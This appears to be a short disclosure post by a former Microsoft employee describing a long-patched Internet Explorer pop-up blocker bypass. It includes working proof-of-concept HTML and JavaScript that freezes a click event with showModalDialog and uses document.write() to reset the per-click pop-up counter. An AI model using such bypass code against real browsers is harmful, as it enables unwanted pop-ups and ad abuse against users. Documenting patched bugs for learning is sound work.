Pop-up Blocker Bypass via Frozen Event and Document Destroy

The pop-up blocker normally allows exactly one window per user interaction. This bypass opens multiple windows from a single click by: (1) freezing the original click event using a modal dialog, and (2) resetting the “window-already-opened” flag by calling document.write() on the frozen window — which clears its content and resets the counter.

<!-- index.html -->
<script language="JavaScript">
function main()
{
    window.showModalDialog("modalDialogContent.html", window,
                           "dialogWidth=500px;dialogHeight=500px;");
}
</script>
<input type="button" value="Click here" onclick="main();">

<!-- modalDialogContent.html: runs inside the frozen showModalDialog -->
<script language="JavaScript">
opener = external.dialogArguments;

function openSomeWindows()
{
    for (var i=0; i < 3; i++)
    {
        opener.document.write();   // Resets the "one popup per event" counter
        opener.document.close();
        opener.open("http://www.google.com");
    }
}
setTimeout("openSomeWindows()", 1000);
</script>

The document.write() call on the frozen opener resets the per-event popup counter, allowing the loop to open three windows instead of one. Commenting out document.write() shows that the remaining popups are correctly blocked. Tested on IE7/Vista, IE8/XP, and IE8/Win7.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.